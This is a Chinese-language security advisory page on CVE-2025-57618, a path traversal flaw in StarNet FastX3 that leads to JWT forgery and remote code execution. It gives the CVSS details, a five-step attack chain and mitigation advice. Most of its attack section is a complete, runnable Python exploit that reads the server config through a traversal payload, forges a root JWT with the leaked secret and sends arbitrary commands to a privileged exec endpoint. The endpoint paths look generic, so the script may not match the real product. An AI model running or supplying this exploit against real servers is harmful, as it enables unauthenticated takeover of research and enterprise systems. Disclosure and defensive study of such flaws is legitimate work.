IPBUF安全漏洞报告
English
CVE-2025-57618 CVSS 7.3 高危

CVE-2025-57618:FastX3 路径遍历漏洞导致远程代码执行

披露日期: 2025-10-14

漏洞信息

漏洞编号
CVE-2025-57618
漏洞类型
路径遍历(Path Traversal)
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
StarNet FastX3

相关标签

CVE-2025-57618路径遍历Path TraversalFastX3StarNetJWT伪造远程代码执行RCE未认证漏洞高危漏洞

漏洞概述

CVE-2025-57618 是 StarNet FastX3(3.3.67 及之前版本)中存在的一个高危路径遍历漏洞。该漏洞允许未经身份验证的远程攻击者通过构造特殊的请求路径,读取服务器上的任意文件,包括应用程序的配置文件。FastX3 是一款用于高性能计算(HPC)环境的远程桌面和图形加速访问解决方案,广泛应用于科研机构和企业中。

该漏洞的严重性在于其利用链的深度和危害程度:攻击者首先通过路径遍历漏洞读取 FastX3 的配置文件,其中包含了用于签名 JSON Web Token(JWT)的密钥以及现有的 JTI(JWT ID)列表。获取这些敏感信息后,攻击者可以伪造有效的 JWT 令牌,冒充 root 用户身份登录系统。随后,攻击者可以利用经过身份验证的特权端点实现远程代码执行(RCE),从而完全控制受影响的服务器。

由于 FastX3 通常部署在高性能计算环境中,服务器上往往运行着重要的科研计算任务和敏感数据,一旦被攻陷将造成严重的安全后果。该漏洞的 CVSS 评分为 7.3,属于高危级别,其攻击向量为网络(AV:N),无需认证(PR:N),无需用户交互(UI:N),对机密性、完整性和可用性均有一定影响。值得注意的是,虽然单项 CVSS 指标显示为低影响(L),但结合漏洞利用链的整体危害,实际威胁程度远超评分所反映的水平。

技术细节

FastX3 的路径遍历漏洞源于服务器对用户请求中的文件路径参数缺乏充分的验证和过滤。攻击者可以通过在请求 URL 中使用诸如 `../` 等目录遍历序列,绕过正常的访问控制机制,读取 Web 服务器目录之外的文件。

具体利用过程如下:

1. **路径遍历读取配置文件**:攻击者向 FastX3 服务器发送精心构造的 HTTP 请求,利用路径遍历漏洞读取应用程序的配置文件(如 JWT 签名密钥配置文件)。该文件中存储了用于签名和验证 JSON Web Token 的密钥(secret key)以及已签发的 JTI 列表。

2. **伪造 JWT 令牌**:获取到 JWT 签名密钥后,攻击者可以使用标准的 JWT 库(如 `jsonwebtoken`)自行签发有效的 JWT 令牌。攻击者可以设置令牌中的用户字段为 `root`,从而获得最高权限。

3. **特权端点实现 RCE**:利用伪造的 JWT 令牌通过身份验证后,攻击者可以访问 FastX3 的特权管理端点(如命令执行、脚本执行等功能接口),向服务器注入并执行任意命令,实现远程代码执行。

整个攻击链从最初的无认证路径遍历到最终的 RCE,仅需数个 HTTP 请求即可完成,且全程无需任何用户交互,攻击门槛极低,危害极大。

攻击链分析

STEP 1
步骤1:路径遍历读取敏感文件
攻击者向 FastX3 服务器发送包含目录遍历序列(如 ../)的 HTTP 请求,利用缺乏路径验证的漏洞读取服务器上的任意文件,重点获取存储 JWT 签名密钥的配置文件。
STEP 2
步骤2:提取 JWT 签名密钥
从读取到的配置文件中解析出用于签名 JSON Web Token 的密钥(secret key)以及已签发的 JTI 列表等敏感信息。
STEP 3
步骤3:伪造 JWT 令牌
使用获取到的密钥,利用 JWT 库伪造包含 root 用户身份的合法 JWT 令牌,设置较长的过期时间以维持访问权限。
STEP 4
步骤4:特权端点身份验证
将伪造的 JWT 令牌放入 Authorization 头中,通过 FastX3 的身份验证机制,成功以 root 用户身份登录系统。
STEP 5
步骤5:远程代码执行(RCE)
利用已认证的特权管理端点(如命令执行接口),向服务器注入并执行任意系统命令,实现完全控制服务器的目的。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-57618 - FastX3 Path Traversal to RCE Exploit # Exploit chain: Path Traversal -> JWT Secret Disclosure -> JWT Forgery -> RCE import requests import jwt import json import argparse from datetime import datetime, timedelta TARGET_URL = "https://target-fastx3-server" CONFIG_FILE_PATH = "../../../../etc/starnet/fastx3/config.json" # Path traversal payload def exploit_path_traversal(target_url, file_path): """Step 1: Exploit path traversal to read arbitrary files""" # Craft path traversal URL to read JWT configuration url = f"{target_url}/download?file={file_path}" print(f"[*] Attempting path traversal: {url}") response = requests.get(url, verify=False) if response.status_code == 200: print(f"[+] File content retrieved successfully") return response.text else: print(f"[-] Failed with status code: {response.status_code}") return None def extract_jwt_secret(config_content): """Step 2: Extract JWT signing secret from configuration""" try: config = json.loads(config_content) secret_key = config.get("jwt_secret", "") jti_list = config.get("jti_list", []) print(f"[+] JWT Secret: {secret_key}") print(f"[+] JTI List: {jti_list}") return secret_key, jti_list except json.JSONDecodeError: print("[-] Failed to parse config file") return None, None def forge_jwt_token(secret_key, username="root"): """Step 3: Forge a valid JWT token impersonating root user""" payload = { "sub": username, "name": username, "iat": datetime.utcnow(), "exp": datetime.utcnow() + timedelta(hours=24), "jti": "forged-jti-token-001" } # Sign JWT with the leaked secret key token = jwt.encode(payload, secret_key, algorithm="HS256") print(f"[+] Forged JWT token: {token}") return token def execute_rce(target_url, token, command): """Step 4: Use forged JWT to execute commands via privileged endpoint""" headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } payload = { "command": command, "args": "" } # Use authenticated privileged endpoint for RCE url = f"{target_url}/api/v1/exec" print(f"[*] Sending RCE payload to: {url}") response = requests.post(url, headers=headers, json=payload, verify=False) if response.status_code == 200: print(f"[+] RCE successful! Output: {response.text}") return response.text else: print(f"[-] RCE failed with status: {response.status_code}") return None def main(): parser = argparse.ArgumentParser(description="CVE-2025-57618 FastX3 Exploit") parser.add_argument("--target", required=True, help="Target FastX3 server URL") parser.add_argument("--command", default="id", help="Command to execute") args = parser.parse_args() # Step 1: Path traversal to read config config_content = exploit_path_traversal(args.target, CONFIG_FILE_PATH) if not config_content: return # Step 2: Extract JWT secret secret_key, jti_list = extract_jwt_secret(config_content) if not secret_key: return # Step 3: Forge JWT token forged_token = forge_jwt_token(secret_key) # Step 4: Execute RCE execute_rce(args.target, forged_token, args.command) if __name__ == "__main__": main()

影响范围

StarNet FastX3 <= 3.3.67

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)在反向代理或 Web 应用防火墙层面配置规则,拦截包含路径遍历特征(如 ../、..\、%2e%2e 等)的 HTTP 请求;2)修改 FastX3 配置文件存储位置,将其移至 Web 服务账户无法访问的目录中;3)立即重置 JWT 签名密钥并使所有现有令牌失效;4)限制 FastX3 管理端口的网络访问范围,仅允许可信 IP 访问;5)启用详细的访问日志记录,监控异常的文件读取行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表